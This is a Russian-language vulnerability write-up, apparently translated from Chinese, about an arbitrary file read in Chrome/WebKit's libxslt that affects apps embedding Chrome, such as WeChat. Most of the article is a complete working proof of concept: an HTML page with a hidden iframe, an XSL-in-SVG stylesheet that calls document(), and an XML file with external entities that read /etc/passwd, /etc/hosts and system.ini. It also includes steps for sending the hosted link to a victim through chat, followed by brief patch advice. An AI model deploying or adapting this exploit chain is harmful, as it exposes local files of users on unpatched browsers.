1. Описание уязвимости
Google ХромЭто веб-браузер, разработанный Google. Браузер написан на основе ядра с открытым исходным кодом (например, WebKit) с целью повышения стабильности, скорости и безопасности, а также создания простого и эффективного пользовательского интерфейса. Библиотека xsl (Libxslt), используемая WebKit по умолчанию, документ, загружаемый вызовом document(), содержит ссылки на внешние объекты. Злоумышленник может создавать и размещать изображения SVG, содержащие таблицы стилей XSL и документы, содержащие ссылки на внешние объекты.
Когда жертва обращается к ссылке на изображение SVG, браузер анализирует таблицу стилей XSL, вызывает document() для загрузки документа, содержащего ссылки на внешние объекты, и считывает произвольные файлы на компьютере жертвы.
2. Влияние уязвимостей
Версия Chrome < 116.0.5845.96
Версия хрома < 116.0.5845.96
Электронная версия < 26.1.0
Внутреннее воздействие:
В основном затронуты приложения, использующие ядро Google Chrome, такие как: WeChat Mobile, Alipay, Douyin, Ctrip, Xiaomi (с собственным браузером), UC Browser, via Browser, Quark Browser и т. д. (это ноябрь. Протестировано вечером 19-е)
3. Проверка уязвимостей
Возьмите версию WeChat для Android в качестве примера, чтобы прочитать файл /etc/hosts на мобильном телефоне: Версия тестовой среды WeChat — последняя версия 8.0.43.
Создайте три файла и разверните их на сервере.
c.html
<body>
<div id="r"></div>
<script>
const ifr = document.createElement('iframe');
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;
r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
}
ifr.src = "./c2.svg";
var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
alert(data);
</script>
</body>
c2.svg
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="10000%" height="10000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignobject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp>
<xsl:copy-of select="document('./c3.xml')"/>
</xmp>
</body>
</foreignobject>
</svg>
</xsl:template>
</xsl:stylesheet>
c3.xml
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<p>
<p style="border-style: dotted;">/etc/passwd: &passwd;
</p>
<p style="border-style: dotted;" id="hosts">/etc/hosts: &hosts;
</p>
<p style="border-style: dotted;">/etc/группа: &group;
</p>
<p style="border-style: dotted;">c:/windows/system32.ini: &sysini;
</p>
</p>
После создания трех файлов загрузите их на сервер для развертывания и отправьте созданную ссылку любому другу через окно беседы. Здесь я продемонстрирую отправку ее помощнику по передаче файлов, а затем щелкните ссылку, чтобы успешно вернуть прочитанный файл. .
4. Рекомендации по устранению уязвимостей
1. Обновите встроенную браузерную версию приложения;
2. Пользователям не следует нажимать на незнакомые ссылки, чтобы не подвергнуться атакам.
Оригинал статьи, автор: Chief Security Assessment, при перепечатке указать источник: https://cncso.com/ru/webkit-browser-rvrary-file-read-vulnerability.html